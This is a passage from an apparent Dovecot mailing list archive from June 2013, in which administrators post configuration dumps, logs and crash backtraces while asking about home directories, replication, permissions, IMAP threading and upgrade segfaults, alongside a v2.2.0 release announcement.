fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date mbox_write_locks = fcntl passdb { args = failure_show_msg=yes driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_global_path = /var/lib/dovecot/sieve/default.sieve } postmaster_address = postmaster(a)mydomain.com protocols = imap pop3 lmtp sieve sendmail_path = /usr/sbin/sendmail.postfix service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/postfix/mail.mydomain.crt ssl_key = </etc/postfix/mail.mydomain.key userdb { driver = passwd } protocol lmtp { mail_plugins = " sieve" } protocol lda { mail_plugins = " sieve" } protocol pop3 { pop3_save_uidl = no pop3_uidl_format = %08Xu%08Xv }

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[Dovecot] Autocreation the home folder
by Joan 14 Jun '13

14 Jun '13

Sorry if this has been already asked, but I haven't been able to find a solution, I am trying to migrate a dovecot 1.2 config to 2.1, the 'dovecot -n > dovecot.conf' migrated all the setup without issues, and the mail is working as expected. The only issue I've had is with the change with the mail_location, mail_home, that in the 2.1 versions can't be on the same path. After reading in the wiki the various config options ( http://wiki2.dovecot.org/VirtualUsers/Home) I opted to use the 3rd: Home directory under mail, for example: Maildir: home=/var/vmail/domain/user/home/ mail=/var/vmail/domain/user/ mbox: There's really no good and safe way to do it. So I changed from: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n To: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n/home The problem is that those home directories are not created (the mailboxes already existed) automatically, and I am getting these errors: ========================================================== May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Home dir not found: /var/vmail/example.com/username/home May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=20480000000 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=Trash ignored May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=15360000000 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=17408000000 (85%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 85 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: maildir++: root=/home/vmail/example.com/username, index=, control=, inbox=/home/vmail/example.com/username, alt= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=1073741824 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=805306368 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 ======================================================== Am I supposed to create the folders via an external script? Or is there any option to make this automatic. Regards, Joan

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[Dovecot] dovecot segfaults after upgrade
by Thomas Blomenkamp 14 Jun '13

14 Jun '13

Using dovecot on debian oldstable (squeeze) with daily builded repository, after an upgrade this morning, dovecot always shows the following error: 2013 Jun 10 11:07:22 mailstore imap(tblomenk): Fatal: master: service(imap): child 3016 killed with signal 11 (core dumps disabled) Jun 10 11:07:22 mailstore kernel: [ 1589.400741] imap[3016]: segfault at 7fffd9048ff8 ip 00007f91417e2c3b sp 00007fffd9049000 error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] Please notice: I can reproduce the error by trying to access my mailbox with alpine or mutt, while alpine only can access my inbox. If I try to access my other folders, the error happens. Mutt always closes the connection after trying to login. It is a little bit strange because with a newer client like roundcube I can access all my folders successfully. In all kernel error messages it seems that error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] is always the same. Also notice that dovecot is still running, it is just that you cannot access other folders than your inbox with pine. mailstore:~# dovecot --version 2.2.2 (45399357008a) mailstore:~# dovecot -n # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf doveconf: Warning: service auth { client_limit=1000 } is lower than required under max. load (1324) doveconf: Warning: service anvil { client_limit=1000 } is lower than required under max. load (1227) # OS: Linux 2.6.32-5-amd64 x86_64 Debian 6.0.7 auth_debug = yes auth_gssapi_hostname = mailstore.math.uni-bielefeld.de auth_mechanisms = plain login auth_username_format = %n auth_verbose = yes lmtp_save_to_detail_mailbox = yes log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = Hi, the IMAP Mail-System on mailstore.math.uni-bielefeld.de is ready. login_log_format_elements = user=<%u> method=%m rip=%r lip=%l %c mail_location = mdbox:~/mdbox mail_plugins = acl mail_privileged_group = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave spamtest spamtestplus imapflags notify namespace { list = children location = mdbox:%%h/mdbox prefix = shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / type = private } passdb { args = /etc/dovecot/dovecot-ldap.conf driver = ldap } plugin { acl = vfile acl_shared_dict = file:/var/lib/dovecot/shared-mailboxes.db mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename mail_log_fields = uid box msgid size mail_log_group_events = no quota = maildir:User quota quota_rule = *:storage=0 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_extensions = +imapflags +notify +spamtest +spamtestplus sieve_spamtest_max_value = 100 sieve_spamtest_status_header = X-PMX-Spam: \.*Probability=([[:digit:]]+)%+\.* sieve_spamtest_status_type = score } protocols = imap lmtp sieve service auth { unix_listener auth-master { mode = 0600 user = vmail } unix_listener auth-userdb { user = vmail } user = root } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 0 } process_limit = 1024 process_min_avail = 10 service_count = 1 } service imap { process_limit = 1024 } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 vsz_limit = 64 M } ssl_cert = </etc/dovecot/mailstore_cert_chain.pem ssl_key = </etc/ssl/private/mcl_key.pem userdb { args = uid=vmail gid=vmail home=/var/vmail_san2/dovecot/%1Lu/%Lu driver = static } protocol imap { mail_plugins = acl imap_acl } protocol lmtp { mail_plugins = acl sieve } protocol sieve { mail_max_userip_connections = 50 managesieve_implementation_string = Dovecot Pigeonhole managesieve_logout_format = bytes=%i/%o managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 } Regards, Thomas

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[Dovecot] IMAPC feature description
by Yonatan Broza 13 Jun '13

13 Jun '13

Hi, I couldn't find any decent documentation about the IMAPC feature. Could someone please explain the purpose of this feature? In particular, what are the differences between IMAPC and reverse proxying? Thanks.

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[Dovecot] crash/mem violation in auth_worker + 50G logs in 2.1.7
by Mrten 13 Jun '13

13 Jun '13

Hi, This morning I discovered what seemed to be a deliberate crash in auth_worker: Jun 7 23:02:09 localhost dovecot: auth-worker: Error: #007Can't read dir of '/etc/mysql/conf.d/' (Errcode: 2) Jun 7 23:02:09 localhost dovecot: auth-worker: Error: Fatal error in defaults handling. Program aborted Jun 7 23:02:09 localhost dovecot: auth-worker: Error: *** glibc detected *** dovecot/auth worker: waiting for connection: free(): invalid pointer: 0x00007fffa0863160 *** Jun 7 23:02:09 localhost dovecot: auth-worker: Error: ======= Backtrace: ========= Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /lib/x86_64-linux-gnu/libc.so.6(+0x7eb96)[0x7f22d42f9b96] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(free_root+0x90)[0x7f22d37988c0] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(free_defaults+0x4b)[0x7f22d3796e6b] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(mysql_read_default_options+0x13c)[0x7f22d377d00c] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(mysql_real_connect+0x8e)[0x7f22d377eb4e] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/dovecot/modules/auth/libdriver_mysql.so(+0x1fc6)[0x7f22d3c52fc6] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0x2be1d)[0x7f22d515be1d] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(db_sql_connect+0xd)[0x7f22d514aedd] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0x23d70)[0x7f22d5153d70] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(passdb_init+0x2a)[0x7f22d515158a] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(auths_init+0x59)[0x7f22d513dfe9] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(main+0x345)[0x7f22d513d5f5] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed)[0x7f22d429c76d] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0xd7d9)[0x7f22d513d7d9] There follows a memory map but I snipped that. This repeated until I killed dovecot (12 hours later), by then 54GB of logs had accumulated. Besides leaving me impressed with the logserver :), I was wondering if this is a known problem. I don't know what triggered this at 23:02 (shown above is the first set of problem logentries). Can't really have been an upgrade, since I backported the raring dovecot Ubuntu package for my precise server, no automated upgrades there. I did go look for the /etc/mysql/conf.d directory mentioned, it wasn't there, but there was a /etc/mysql/my.cnf trying to !includedir it. Since there is no mysql on the server besides libmysqlclient I removed the directory and haven't seen the problem return yet. Sounds like the reason for happening, however, the memory error after that probably warrants research? If it is in libmysqlclient, that's another non-default snag because that's the lib I get from Percona, not the Ubuntu default one. Shouldn't dovecot recognize that the auth worker is crashing? One more thing, this is (one line from many) from audit.log (I have auditd logging audit records) type=ANOM_ABEND msg=audit(1370682566.377:3499876): auid=4294967295 uid=108 gid=115 ses=4294967295 pid=23187 comm="auth" reason="memory violation" sig=6 108 is the dovecot user, so it probably is related. I realise I'm way off defaults here but I wanted to report anyway. (dovecot -n attached) thanks for any insight, Maarten.

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[Dovecot] CATENATE/literal8 issue
by Michael M Slusarz 13 Jun '13

13 Jun '13

Using 2.2.2, I see this: C: 6 APPEND "INBOX" (\seen) "16-May-2013 22:05:14 -0600" CATENATE (URL "/INBOX;UIDVALIDITY=1255685337/;UID=48812/;SECTION=HEADER" TEXT ~{40} S: 6 NO [UNKNOWN-CTE] Binary input allowed only when the first part is binary. Why is there this limitation? It seems to me that CATENATE is confusing the content-type encoding of the data/part itself with the encoding of the IMAP literal. A literal 8 is nothing more than a series of OCTET's that *may* contain nulls, but not necessarily. i.e., in the above example the 40 octets of data are US-ASCII text, which is perfectly acceptable to send as a literal8. (Client rationale: If BINARY exists on the server, we don't bother to scan IMAP literal's for null data -- we just send them as literal8's. It's an optimization that I would hate to get rid of.) michael

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[Dovecot] Replication and LAYOUT=fs
by Simon Fraser 13 Jun '13

13 Jun '13

Hello folks, I have a problem with replication and mail_location with LAYOUT=fs set. If I set "mail_location = maildir:~/mail" (leaving out the :LAYOUT=fs), create and populate some mailboxes and subfolders, they all get replicated. If I start with a clean mail spool and LAYOUT=fs, I can create some new mailboxes and subfolders but only the inbox is replicated. Subfolders are ignored. The users are all in LDAP, and virtual, hence the generic mail_home format and mail_location being set. The userdb lookup has been told to return no attributes ("user_attrs = "), but I have also tried it with requesting 'home' and specifying a default of /mail/spool/%u in the userdb config. The service is perfectly functional as far as a mail client is concerned: it can access all the folders and messages it expects on the server that had them added. It's only the replication using LAYOUT=fs that seems to be troublesome. Here is `doveconf -n` for the first of the pair of servers (dcot1a and dcot1b). The configuration on the other is identical except for the hostname differences. Simon # 2.2.2: /mail/etc/dovecot/dovecot.conf # OS: Linux 3.2.0-27-virtual x86_64 Ubuntu 12.04.2 LTS disable_plaintext_auth = no doveadm_password = secret first_valid_uid = 100 mail_gid = dovecot mail_home = /mail/spool/%u mail_location = maildir:~/mail:LAYOUT=fs mail_plugins = notify replication mail_uid = dovecot namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /mail/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { mail_replica = tcp:dcot1b:12345 } protocols = imap lmtp service aggregator { fifo_listener replication-notify-fifo { mode = 0600 user = dovecot } unix_listener replication-notify { mode = 0600 user = dovecot } } service config { unix_listener config { user = dovecot } } service doveadm { inet_listener { port = 12345 } user = dovecot } service replicator { process_min_avail = 1 } shutdown_clients = no ssl_cert = </etc/ssl/certs/dcot1a-cert.pem ssl_key = </etc/ssl/private/dcot1a-key.pem userdb { args = /mail/etc/dovecot/dovecot-ldap.userdb.conf.ext driver = ldap } -- The Wellcome Trust Sanger Institute is operated by Genome Research Limited, a charity registered in England with number 1021457 and a company registered in England with number 2742969, whose registered office is 215 Euston Road, London, NW1 2BE.

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Re: [Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 13 Jun '13

13 Jun '13

12.06.2013 22:34, Michael Kliewe пишет: > Hello Alex, > you asked exactly the same question 5 days ago and already got the > answer (from 2 people). Why did you ask again, didn't you receive the > answers? Thank you for your answer. Yes, i didn't receive answer ((((

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[Dovecot] post-login script and original remote ip in proxy mode
by Ibrahim Harrani 13 Jun '13

13 Jun '13

Hi, I am running dovecot on 3 qmail-ldap server backend. dovecot configured to use auth_pop3 wrapper for authentication. Users logins to the qmail-ldap pop3&imap pools randomly. If a user is mailhost is not the connected server, dovecot proxies the connection to the user mailhost. In this case, I can not get the original client IP address via post-logins script on user host. I see only the first connected server IP as $IP environment. Any idea to get original client IP in this setup with postlogin scripts? Thanks

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[Dovecot] Question about directory hash function.
by Evgeny Basov 13 Jun '13

13 Jun '13

Hello, Timo. I have a question about %H in http://wiki2.dovecot.org/Variables : what the hash function uses for calculations and how to get this value manually? This is need for bypass way getting home directory. With best regards, Evgeny Basov.

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[Dovecot] Permissions for mail_temp_dir directory
by Henrik Larsson 13 Jun '13

13 Jun '13

I recently upgraded from 2.1.16 to 2.2.2 and started to receive the following errors: imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16128.3209d13f842955c2) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16128. failed: Permission denied imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16501.0ddff1dc93cdbe6a) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16501. failed: Permission denied I didn't have these before the upgrade. The current permissions for the /var/db/dovecot directory is root:wheel 755. What would be the correct permissions for the mail_temp_dir directory? doveconf -n output --cut-- # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_mechanisms = plain login digest-md5 cram-md5 first_valid_uid = 125 hostname = mail.example.com listen = * log_path = /var/log/dovecot mail_plugins = zlib mail_privileged_group = postfix mail_temp_dir = /var/db/dovecot managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { inbox = yes location = prefix = separator = . type = private } namespace { hidden = yes inbox = no list = no location = prefix = INBOX. separator = . type = private } passdb { args = /usr/local/etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { fts = squat fts_squat = partial=4 full=10 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)example.com protocols = imap pop3 lmtp sieve service auth-worker { user = $default_internal_user } service auth { unix_listener /home/mail/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } } service lmtp { executable = lmtp -L unix_listener /home/mail/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } ssl_cert = </etc/ssl/mail.example.com-chained.crt ssl_key = </etc/ssl/mail.example.com.key userdb { args = /usr/local/etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lmtp { log_path = /var/log/dovecot-deliver mail_plugins = zlib sieve } protocol lda { mail_plugins = zlib sieve } protocol imap { mail_plugins = zlib imap_zlib } --cut-- Best regards Henrik Larsson

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[Dovecot] THREAD REFERENCES bug
by A.L.E.C 13 Jun '13

13 Jun '13

I found it on an ancient dovecot version, so it might be already fixed. Let's say I have a folder with 3 messages UID Subject Date 12 One 2013-06-09 11 Testmail 2013-06-10 14 Subject 2013-06-11 C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)(11)(14) Now I received a message with today's date (2013-06-12) with subject "Testmail" (the same as message with uid=11. The new message has uid=16. C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)((11)(16))(14) I expected 16 (or more likely 11 and 16) to be at the end of the result, after 14, i.e. (12)(14)((11)(16)). The problem for a user is when he has more messages in a folder. When user receives a new message sometimes (on subject duplicate) he will not see it because it will be somewhere in the middle of the result, but should be on top. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

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[Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 12 Jun '13

12 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. How to make the imap folders 'sent', 'trash' and others were not affiliated? I have IMAP answer: . list "" "*" * LIST (\HasChildren) "." "INBOX" . OK List completed. No trash, no drafts, no other folder. All this folder included in INBOX (((( But I want (my clients wants): * LIST (\HasNoChildren) "." "Drafts" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" * LIST (\HasNoChildren) "." "Sent" * LIST (\HasNoChildren) "." "spam" P.S. Sorry for my english. P.P.S. # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = 213.7.204.34 log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" }

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[Dovecot] Permission denied / missing +r perm
by Andrew Crawford 12 Jun '13

12 Jun '13

I have postfix configured to deliver mail to dovecot over lmtp into a mailbox that then is accessed over imap. The imap server is running as the user "mail". Whenever I run "postfix flush" I get in mail.log: > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Connect from local > Jun 12 05:37:45 li212-205 spamd[18173]: prefork: child states: II > Jun 12 05:37:45 li212-205 dovecot: auth-worker(21289): mysql(127.0.0.1): Connected to database mailserver > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288, drew@REDACTED): zXAqF2lBuFEoUwAA5SnFYQ: msgid=<064C5BC7-357B-4366-9A80-5001DBA21F62@REDACTED>: saved mail to INBOX > Jun 12 05:37:45 li212-205 postfix/lmtp[21287]: 57BDA1CC932: to=<drew@REDACTED>, relay=li212-205.members.linode.com[private/dovecot-lmtp], delay=0.06, delays=0.01/0.01/0.01/0.03, dsn=2.0.0, status=sent (250 2.0.0 <drew@REDACTED> zXAqF2lBuFEoUwAA5SnFYQ Saved) > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Disconnect from local: Client quit (in reset) > Jun 12 05:37:45 li212-205 postfix/qmgr[21244]: 57BDA1CC932: removed > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Error: open(/decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411… failed: Permission denied (euid=8(mail) egid=8(mail) missing +r perm: /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411903P21288.li212-205,S=2626,W=2673:2,, we're not in group 0(root)) > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Disconnected: Internal error occurred. Refer to server log for more information. [2013-06-12 05:37:45] in=349 out=1084 Indeed, the file in question is owned by root and would not be accessible to the mail user: > ls -la /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/ > total 24 > drwxrw---- 2 mail mail 4096 Jun 12 05:37 . > drwxrw---- 7 mail mail 4096 Jun 12 05:37 .. > -rw-rw---- 1 mail mail 2616 Jun 12 05:26 1371029196.M462737P20302.li212-205,S=2616,W=2662:2, > -rw-rw---- 1 mail mail 2635 Jun 12 05:32 1371029564.M454251P20747.li212-205,S=2635,W=2682:2, > -rw-rw---- 1 root root 2626 Jun 12 05:37 1371029865.M411903P21288.li212-205,S=2626,W=2673:2, So dutifully, I chown / chgrp to the mail user. But as soon as i receive a new mail, dovecot again creates files owned by root:root. How do I convince it to create files as mail:mail ? Diagnostic info: > $ dovecot --version > 2.1.7 > $ ps -aux | grep dovecot > root 20810 0.0 0.0 2892 984 ? Ss 05:34 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf > dovecot 20813 0.0 0.0 2620 940 ? S 05:34 0:00 dovecot/anvil > root 20814 0.0 0.1 2752 1072 ? S 05:34 0:00 dovecot/log > root 20818 0.0 0.2 4348 2524 ? S 05:34 0:00 dovecot/config > dovenull 21046 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21047 0.0 0.2 6392 2088 ? S 05:35 0:00 dovecot/imap > dovenull 21056 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21057 0.0 0.2 6752 2576 ? S 05:35 0:00 dovecot/imap > dovenull 21292 0.0 0.2 5248 2500 ? S 05:37 0:00 dovecot/imap-login > root 21293 0.0 0.1 4508 1044 ? S 05:37 0:00 dovecot/ssl-params > mail 21294 0.0 0.2 6540 2624 ? S 05:37 0:00 dovecot/imap > root 21400 0.0 0.0 4104 788 pts/0 S+ 05:51 0:00 grep dovecot > $ doveconf -n > # 2.1.7: /etc/dovecot/dovecot.conf > # OS: Linux 3.8.4-linode50 i686 Debian 7.0 fuse.encfs > auth_mechanisms = plain login > first_valid_uid = 0 > mail_location = maildir:/decrypted-mail/%d/%n > mail_privileged_group = mail > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > args = /etc/dovecot/dovecot-sql.conf.ext > driver = sql > } > protocols = " imap lmtp" > service auth-worker { > user = mail > } > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0600 > user = postfix > } > unix_listener auth-userdb { > mode = 0600 > user = mail > } > user = dovecot > } > service imap-login { > inet_listener imap { > port = 0 > } > } > service lmtp { > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0666 > user = postfix > } > user = mail > } > service pop3-login { > inet_listener pop3 { > port = 0 > } > } > ssl = required > ssl_cert = </etc/ssl/certs/dovecot.pem > ssl_key = </etc/ssl/private/dovecot.pem > userdb { > args = uid=mail gid=mail home=/decrypted-mail/%d/%n > driver = static > } >

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[Dovecot] v2.2.0 released
by Timo Sirainen 12 Jun '13

12 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz.sig Everything now seems to be stable and working in v2.2, so I can finally move onto developing great new interesting features for v2.3. :) My company has also launched a web shop where you can buy various products. One of them is cheap access to Dovecot enterprise edition repositories, which are basically same as regular Dovecot releases, except they are kept patched with the latest important bugfixes. We currently have releases for RHEL/CentOS 5 and 6, Debian Squeeze and Ubuntu 12.04 LTS. By buying Dovecot-EE you'll also get a 30 day demo license for object storages, if you want to try it out. http://shop.dovecot.fi/ * When creating home directories, the permissions are copied from the parent directory if it has setgid-bit set. For full details, see http://wiki2.dovecot.org/SharedMailboxes/Permissions * "doveadm auth" command was renamed to "doveadm auth test" * IMAP: ID command now advertises server name as Dovecot by default. It was already trivial to guess this from command replies. * dovecot.index.cache files can be safely accessed only by v2.1.11+. Older versions may think they're corrupted and delete them. * LDA/LMTP: If saving a mail brings user from under quota to over quota, allow it based on quota_grace setting (default: 10% above quota limit). * pop3_lock_session=yes now uses a POP3-only dovecot-pop3-session.lock file instead of actually locking the mailbox (and causing IMAP/LDA/LMTP to wait for the POP3 session to close). * mail_shared_explicit_inbox setting's default switched to "no". * ssl_client_ca_dir setting replaced imapc_ssl_ca_dir and pop3c_ssl_ca_dir settings. + Implemented IMAP MOVE and BINARY extensions + Implemented IMAP CATENATE, URLAUTH and URLAUTH=BINARY extensions (by Stephan Bosch). + Implemented IMAP NOTIFY extension. Requires mailbox_list_index=yes to be enabled. + Redesigned and rewritten dsync. The new design makes the syncing faster, more reliable and more featureful. The new dsync protocol isn't backwards compatible with old dsync versions (but is designed to be forwards compatible with future versions). + All mailbox formats now support per-user message flags for shared mailboxes by using a private index. It can be enabled by adding :INDEXPVT=<path> to mail location. This should be used instead of :INDEX also for Maildir/mbox to improve performance. + Improved mailbox list indexes. They should be usable now, although still disabled by default. + Added LAYOUT=index. The mailbox directories are created using their GUIDs in the filesystem, while the actual GUID <-> name mapping exists only in the index. + LMTP proxy: Implemented XCLIENT extension for passing remote IP address through proxy.

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[Dovecot] Zlib plugin: changing compression save level
by Urban Loesch 11 Jun '13

11 Jun '13

Hi, I have running dovecot 2.1.15 with zlib plugin enabled and "zlib_save_level = 6" since about 2 years now without any problems. What happens if I now change the zlib_save_level to 9? Should that work without any problems, or become the current saved "*.m" files incompatible or unreadable? Thanks Urban

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[Dovecot] Wait for interface to become available instead of dying?
by Sebastian Arcus 11 Jun '13

11 Jun '13

At the moment, if one of the interfaces specified with "listen=" in dovecot.conf is not up when Dovecot is started, then Dovecot just refuses to start. Is there an option to make Dovecot start anyway, and just use the interface when it becomes available? It is inconvenient to have Dovecot refuse to start during boot because some interface is temporarily not available. Then again, maybe there is some strong security reasoning behind the way Dovecot behaves at the moment?

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[Dovecot] IMAP
by Jason Lock 10 Jun '13

10 Jun '13

We are using version 1.2.17 and recently are experiencing major issues with performance, which we believe have isolated to IMAP sessions. We have 3 servers running Dovecot, with a central store shared via NFS. Things have been running quite well for months now, with the latest issues appearing within the last week. As an experiment have 2 of the server running and only accepting POP3 connecitons no IMAP, and the 3rd server only accepting IMAP connections and no POP3. When the issue occurred today, stopping dovecot on the IMAP only server allowed POP3 to resume to normal operations 5-10 minutes later. Leaving IMAP disabled for a period of time (about 30 mins) and then re-enabling seemed to worked the first time. Subsequent times, the issue appeared shortly after re-enabling IMAP. Our webmail solution connects via IMAP, so when disabled this also impact clients using the webmail. Running only POP3 while IMAP is disabled we do not appear to have any issues. At this point, looking for any advice. We believe the number of devices utilizing IMAP has increased significantly for us, and whether or not a specific device is the cause we have not been able to determine. Anyone else experiencing a similar problem that appears related to IMAP?

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[Dovecot] per user quota in mysql
by John Doe 10 Jun '13

10 Jun '13

